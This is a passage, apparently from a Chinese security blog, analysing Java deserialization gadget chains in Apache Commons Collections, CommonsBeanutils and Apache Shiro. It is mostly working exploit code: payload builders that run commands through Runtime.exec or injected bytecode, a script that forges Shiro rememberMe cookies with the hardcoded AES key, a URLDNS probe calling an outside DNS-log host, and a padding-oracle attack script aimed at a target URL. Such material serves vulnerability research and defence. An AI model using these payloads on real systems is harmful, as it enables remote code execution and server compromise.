    //AnnotationInvocationHandler.readObject()->TransformedMap.checkSetValue()->ChainedTransformer.transform()->InstantiateTransformer.transformer()->TrAXFilter.TrAXFilter()->TemplatesImpl.newTransformer()->defineClass.newInstance()
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = TemplatesImpl.class;
        Field field_name = templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates, "aaa");
        Field field_class = templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates, null);
        Field field_bytecodes = templatesClass.getDeclaredField("_bytecodes");
        field_bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes = {code};
        field_bytecodes.set(templates, codes);
        Field field_factory = templatesClass.getDeclaredField("_tfactory");
        field_factory.setAccessible(true);
        field_factory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

//        instantiateTransformer.transform(TrAXFilter.class);
//        TrAXFilter trAXFilter=new TrAXFilter(templates);
    
        //原CC1链
        Map < Object, Object > map = new HashMap<>();
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,  chainedTransformer);
        map.put("value", "aiwin");
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//未声明public,要反射调用
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); //调用实例化方法
        constructor.setAccessible(true);
        Object result = constructor.newInstance(Target.class, transformedMap); //Target中存在value方法, 因此map中键值为Value
        serialize(result);
        unserialize("ser.bin");
    }

    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

我们整条CC3链的流程如下:

AnnotationInvocationHandler.readObject()->TransformedMap.checkSetValue()->ChainedTransformer.transform()->InstantiateTransformer.transformer()->TrAXFilter.TrAXFilter()->TemplatesImpl.newTransformer()->defineClass.newInstance()

Commoncollections5

  1. CC5链子就是将CC6的链子更改掉了入口,CC6的链子最终将反序列化的入口延伸在HashMap.HashCode()方法中,而CC5反序列化的入口是在BadAttributeValueExpException.readObject()方法中,这个方法会调用toString()并且valObj是可控的,因此可以触发TiedMapEntry.toString()方法进而触发LazyMap。

file

  1. TiedMapEntry.toString()会触发同类中的getValue()进而触发LazyMap.get()

file

file

  1. 后半部分的链子就可以是触发InvokerTransformer或者是触发TemplateImpl的链子都是可以的,demo如下:
package com.example.commoncollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections5Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//BadAttributeValueExpException.readObject()->TiedMapEntry.toString()->LazpMap.get()->ChainedTransformer.transform()
// ->Invokertransform.transform()->Runtime.exec()
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> Lazymap= LazyMap.decorate(map,chainedTransformer); //先设置为其它Transformer,使其put()方法不触发
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field valField=badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }

    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

Comoncollections7

相对来说Commoncollections7就比较有意思,Commoncollections7将反序列化的入口点引向了Hashtable的readObject反序列化方法中。

  1. 首先目标还是LazyMap.get()方法,找其它能够调用LazyMap.get()的函数,作者找到了AbstractMapLazyMap的父类中的equals方法存在可控的m可以直接调用get()方法,也就是这里的
    !value.equals(m.get(key))

file

  1. 继续往上,看到Hashtable.reconstitutionPut()调用了一个equals()方法,从一对Entry键值对中调用键来执行equals。

file

  1. Hashtable.readObject中恰好就利用了reconstitutionPut方法,因此就引向了这个反序列化的入口。

file

  1. 但是这里需要注意两个问题,首先第一个就是,我们进入readObject()方法的时候,传入到 reconstitutionPut方法中的table是空的,是一个新的刚赋值的Entry,因此直接进去肯定是不会调用LazyMap.equals()方法进而因为不存在调用AbstractMap中的,串联起后面的链子。但是可以发现这里其实是在for循环当中的,循环的参数elements是从输入流种readInt()出来的,所以这里需要Hashtable放入两个Map,使得第二次进入table里面的key值是LazyMap。

第一次进入table是空的,会对Entry进行赋值后再循环调用第二次reconstitutionPut

file

第二次进入tab参数就能够存在LazyMap的键值对,就能够调用equals()方法

file

  1. 还有第二个问题就是要进入到for循环中,得满足的一个条件是tab[index]即上面进行了hashCode方法计算出的索引在tab中得需要是存在的,否则会直接跳过for循环。这里能够满足这样的Lazymap字符串有yy、zZ以及AaAaAa、BBAaBB等,因此放入lazyMap中的字符串也是要注意的重要一点。
  2. 所以整个demo如下:
package com.example.commoncollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.context.annotation.Lazy;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Commoncollections7Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//    java.util.Hashtable.readObject
//    java.util.Hashtable.reconstitutionPut
//    org.apache.commons.collections.map.AbstractMapDecorator.equals
//    java.util.AbstractMap.equals
//    org.apache.commons.collections.map.LazyMap.get
//    org.apache.commons.collections.functors.ChainedTransformer.transform
//    org.apache.commons.collections.functors.InvokerTransformer.transform
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        //先放没用的Transformer,因为在put的时候也会进入get方法触发transform
        Map lazyMap1 = LazyMap.decorate(innerMap1,new ConstantTransformer(1));
        //要解决索引取的到lazymap的问题
        lazyMap1.put("AaAaAa", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, new ConstantTransformer(2));
        lazyMap2.put("BBAaBB", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap2,chainedTransformer);
        //CC6中要注意的点,在get方法中map取key要取不到才会进入transfrom方法中
        lazyMap2.remove("AaAaAa");
        serialize(hashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

Commoncollections版本4反序列化漏洞

Commoncollections4

Apache-commoncollections更新了一个大版本,这个大版本4.0中依旧存在了反序列化的漏洞,是通过调用来触发之前的反序列化链子。

  1. 首先需要引入commoncollections4的大版本。
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
  1. 造成整条新链子的原因是因为在Commoncollections4中TransformingComparator类继承了 Serializable反序列化的接口,而在原版本中是没有继承的,就导致了里面的方法也能够被利用,主要是类中的compare能够调用transformer.transform,而且这里的transformer可以直接通过构造函数赋值可控。

file

  1. 因为需要将其引向readObject()方法,所以继续往上走,会找到在PriorityQueue.siftUpUsingComparator()里面调用了compare()方法。

file

  1. 继续找谁调用了siftUpUsingComparator()会逐步找到readObject()->siftDown()->heapify(),最终引向了PriorityQueue的反序列化中。

file

  1. 因此整条链就可以改变掉入口,最终也引向于原CC3链或者其它链中,这里引向CC3链,整条demo就可以写成如下:
   package com.example.commoncollections1;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonCollections4Test {
    public static  void main(String[] args) throws IllegalAccessException, IOException, NoSuchFieldException, ClassNotFoundException {
// PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare()->ChaindTransformer.tranforme()->
//  instantiateTransformer.transform()->TrAXFilter.TrAXFilter()->TemplatesImpl.newTransformer()->defineClass.newInstance()
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = TemplatesImpl.class;
        Field field_name = templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates, "aaa");
        Field field_class = templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates, null);
        Field field_bytecodes = templatesClass.getDeclaredField("_bytecodes");
        field_bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes = {code};
        field_bytecodes.set(templates, codes);
//        Field field_factory = templatesClass.getDeclaredField("_tfactory");
//        field_factory.setAccessible(true);
//        field_factory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        chainedTransformer.transform(1)

        //先随意设置一个Transformer,防止序列化的时候就已经走到了transform()方法中,因为_tfactory不存在触发了报错
        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);

        //要使得heapify()中进入 siftDown方法,size至少为2个
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class comparator=transformingComparator.getClass();
        Field transformer=comparator.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

}
  1. 这里可能会有一个问题,为什么priorityQueue需要进行add操作两次,这是因为在调用heapify()方法时,会操作size进行右移3位的操作,如果size不大于2,会导致i直接等于0,不进入for循环就不会调用下面的链子。

file

  1. 至于为什么要先赋值ConstantTransformer,是因为在序列化的时候就会走到compare的方法中触发transform方法,但是因为这时候并不是反序列化,所以_tfactory没有被赋值,就会触发CC3链中的_tfactory.getExternalExtensionsMap()空异常的报错。

file

Commoncollections2

CC2链和CC4链可以说是一样的,入口点依旧是priorityQueue,只不过在CC4后面的链中是调用InstantiateTransformer.transform()来触发最后的动态类加载,而CC2是直接通过InvokeTransform.transform()来触发TemplateImpl中的动态类加载,整个demo如下:

package com.example.commoncollections1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Commoncollections2Test {
    public static void main(String [] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
//PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare()->Invokertransform.transform()
// ->TemplatesImpl.newTransformer()->defineClass.newInstance()

        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass= TemplatesImpl.class;
        Field field_name=templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates,"aaa");
        Field field_class=templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates,null);
        Field field_bytecodes=templatesClass.getDeclaredField("_bytecodes");
        field_bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes={code};
        field_bytecodes.set(templates,codes);

        InvokerTransformer invokerTransformer=new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
        //先随意设置一个Transformer,防止序列化的时候就已经走到了transform()方法中,因为_tfactory不存在触发了报错
        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
//
//        //要使得heapify()中进入 siftDown方法,size至少为2个
        priorityQueue.add(templates);
        priorityQueue.add(2);
        Class comparator=transformingComparator.getClass();
        Field transformer=comparator.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,invokerTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

总结

file

Shiro

在Java中,Shiro是一个用于身份验证、授权和加密的强大而灵活的开源安全框架。Shiro专注于提供易于使用和理解的安全解决方案,它可以轻松地集成到Java应用程序中,用于管理用户身份验证、访问控制和会话管理等功能。Shiro在登录的时候提供了一个RememberMe功能,它在后端会触发原生反序列化,并且一些版本的RememberMe中的内容用户是完全可控的,导致了反序列化漏洞的产生。

下面来简单分析一下利用链

Shiro550

  1. 首先在CookieRememberMeManager类中,会使用getRememberedSerializedIdentity方法来获取Cookie中的RememberMe的内容,然后对它进行base64解码后返回,假如这里Cookie中的值是deleteMe则直接返回null。

file

  1. 继续找谁调用了getRememberedSerializedIdentity方法,会发现在AbstractRememberMeManager类中的getRememberedPrincipals调用了这个方法,获取了它base64解码后的值,然后使用了convertBytesToPrincipals讲字节流转换成凭证。

file

  1. 跳进convertBytesToPrincipals方法中,发现它调用了decrypt方法进行解密,然后使用了deserialize对解密后的字节流进行了readObject()原生的反序列化。

file

file

  1. 查看一下decrypt方法,可以看到它使用了CipherService中的decrypt方法对加密的字节数组进行解密,并且通过getDecryptionCipherKey()方法传入了一个key,最终将解密后的结果返回。

file

  1. DefaultBlockCipherService的构造方法中,可以发现它的algorithmName是AES,也就是说它使用的是AES_CBC的模式进行的加密,也使用这个进行解密。

file

  1. 那么它传入的key是多少呢,继续跳进去,会发现在Shiro550中使用的Key是一个常量,通过setCipherKey方法设置了一个Base64解码后的Key。

file

  1. 所以这里反序列化的字节数组即使用AES+Base64加密的RememberMe的内容我们是完全可控的,就可以触发反序列化的漏洞,我们这里使用URLDNS的链子来验证一下。

首先写一个URLDNS的链子:


public class exp {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashMap=new HashMap<>();
        URL url=new URL("http://pewycrjtvj.dgrh3.cn");
        Class c = url.getClass();
        Field field=c.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,222);
        hashMap.put(url,222);
        field.set(url,-1);
        serizlize(hashMap);

    }
    public static void serizlize(Object object) throws IOException {
        ObjectOutputStream objectInputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectInputStream.writeObject(object);

    }

随后将生成的ser.bin使用AES-128-CBC模式,PCKS5进行AES加密后进行base64编码,具体的解码填充流程也可以在源码中看到它的解释,它会将Iv拼接到密文的前面以找到IV。

file

import uuid
from Crypto.Cipher import AES
import base64


def encode_rememberme(file):
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    cipher = AES.new(key, AES.MODE_CBC, iv)

    file_body = pad(file)
    ciphertext = cipher.encrypt(file_body)
    base64_ciphertext = base64.b64encode(iv + ciphertext)

    return base64_ciphertext


def pad(s):
    BS = AES.block_size
    padding = BS - len(s) % BS
    return s + padding * bytes([padding])


if __name__ == '__main__':
    file = open('A:\\下载\\ser.bin', 'rb').read()
    payload = encode_rememberme(file)
    print("rememberMe={0}".format(payload.decode()))

验证成功:
file

Shiro550+CC链

续上之前的Shiro550导致的硬编码漏洞,使用URLDNS链子是验证成功的,但是我们的最终目的终究还是触发命令执行,因此可以尝试联合CC链的内容触发命令执行,当然前提是依赖中事先存在CC链的依赖。

注意点:

Shiro在触发反序列化漏洞的时候,使用的CC链漏洞即引入的依赖组件中的漏洞时,是不能存在数组的,存在数组会出现报错,究其原因,是Shiro在反序列化时,获取输入流ClassResolvingObjectInputStream()方法对类的解析有点不同导致的。

  1. 在Shiro在进行反序列化的时候,会看到它调用的其实是ClassResolvingObjectInputStream.resolveClass()方法来对类进行解析,最终会到ClassUtils.forName()方法中。

file

  1. 进入此方法中,会发现它会尝试从三个地方去使用loadClass()方法加载类,有点双亲委派的意味在里面,分别从当前线程上下文的类加载器中、应用程序、系统中加载类,假如都加载不到,则会抛出异常。

file

  1. 在当前线程上下文中加载类,它会再进入ClassUtils.loadClass()方法中,然后来到WebAppClassLoader类中进行加载,这个加载类重写了loadClass()方法。

file

  1. 在这个方法中,它会先从Tomcat加载过的类中寻找(缓存),找不到就会从父加载器URLClassLoader中加载,也就是会调用这个findClass()

file

  1. 在父类的加载器中可以看到,它会将获取到路径中的.转换成/然后在最后面加上.class,然后通过defineClass()进行类的加载。比如说我们要加载org.apache.commons.collections.Transformer这样的数组中,就会变成[org.apache.commons.collections.Transformer;.class],最终肯定是加载不到的。

file

简单来说,就是当Shiro加载应用程序依赖中定义的类的时候,是加载不了数组类的。

因此,既然加载不了数组类,我们就要选择CC链中没有数组的payload进行攻击,这里选择的payload可以是联合的,比如

HashMap.readObject()->TiedMapEntry.getValue()->LazyMap.get()->InvokeTransformer.transform()->TemplateImpl.newTransform()->Runtime.exec()

payload如下:

 public static  void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException {
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass=templates.getClass();
        Field field_name=templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates,"aaa");
        Field field_class=templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates,null);
        Field field_code=templatesClass.getDeclaredField("_bytecodes");
        byte[] code=Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes={code};
        field_code.setAccessible(true);
        field_code.set(templates,codes);

        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazymap=LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,templates);
        map.put(tiedMapEntry,"bbb");
        lazymap.remove(templates);
        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,invokerTransformer);
        serialize(map);
//        unserialize("ser.bin");

    }
    public static void  serialize(Object o) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(o);
    }
    public static void unserialize(String  filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

Shiro550+无依赖CB链

Shiro进行反序列化的漏洞利用,如果使用CC链,多多少少要受到是否引入了依赖的限制,因此这里可以使用Shiro内带的commons-beanutils包中的链来触发无需依赖的链子,下面我们来简单分析:

  1. 首先是关于commons-beanutilsPropertyUtils.getProperty()方法,这个方法主要是可以通过给定的对象和属性名称,获取该对象中对应属性的值。该方法会进入getNestedProperty()方法中,根据解析器的类型调用对应的方法。

file

  1. 走到其中一个方法里面,会看到它通过invokeMethod()来调用对应对象的get方法并且返回值。

file

  1. 而在TemplatesImpl类中,刚好存在getOutputProperties属于是Properties类型,可以通过调用getProperty()来触发此方法中的newTransformer()接而拼接起我们的CC3链的方法触发部分即TemplatesImpl.newTransformer()

file

  1. 向上找,找谁可以触发getProperty()方法,发现在BeanComparator.compare()方法中触发了PropertyUtils.getProperty()方法,并且传入的参数都是可控的。

file

  1. 在之前的CC链中,我们知道PriorityQueue类是可以触发compare()方法的,因此整条链子就可以串联起来了。

file

整条链子就为:

PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer->Runtime.exec()

但是这条链子有两个需要注意的地方:

  1. BeanComparator初始化的时候,会有两个初始化的方法,其中一个方法会自动实例化一个ComparableComparator类,而这个类是属于org.apache.commons.collections.comparators中的类,如果不存在CC的依赖,就会产生报错。

file

  1. 解决办法就是使用下面那个构造方法,自己赋值一个comparator的值,这个值要求就是需要继承Comparator接口并且继承Serializable反序列化接口即可,比如在JDK中的AttrCompare

file

第二个要注意的地方是关于commons-beanutils包它的版本需要是一致的,否则是出现serialVersionUID不一致出现的报错。

整个payload就可以为:

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()
        // ->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer->动态调用类
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass= TemplatesImpl.class;
        Field field_name=templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates,"aaa");
        Field field_class=templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates,null);
        Field field_bytecodes=templatesClass.getDeclaredField("_bytecodes");
        field_bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes={code};
        field_bytecodes.set(templates,codes);
        Field field_factory=templatesClass.getDeclaredField("_tfactory");
        field_factory.setAccessible(true);
        field_factory.set(templates,new TransformerFactoryImpl());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //getProperty会自动将getter触发的方法首字母变成大写
        BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
        PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add("aaa");
        Class<PriorityQueue> priorityQueueClass= (Class<PriorityQueue>) priorityQueue.getClass();
        Field comparator=priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);
        serialize(priorityQueue);
//        unserialize("ser.bin");
    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

Shiro721

在高版本的Shiro中,解决了硬编码带来的问题,AES加密使用的key是系统随机生成的,关键就在于key的破解,key一旦知道,原来Shiro的触发链一样的可行的,在实现知道用户的登录rememberMe的情况下,是可以对密钥Key进行爆破得到的,影响版本为1.4.1以下,这里不进行分析。

网上抄的某通过填充进行爆破的脚本如下,具体原理与AES-CBC的加密方式有关:

# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
(*) 3 + 8 =
快来做第一个评论的人吧~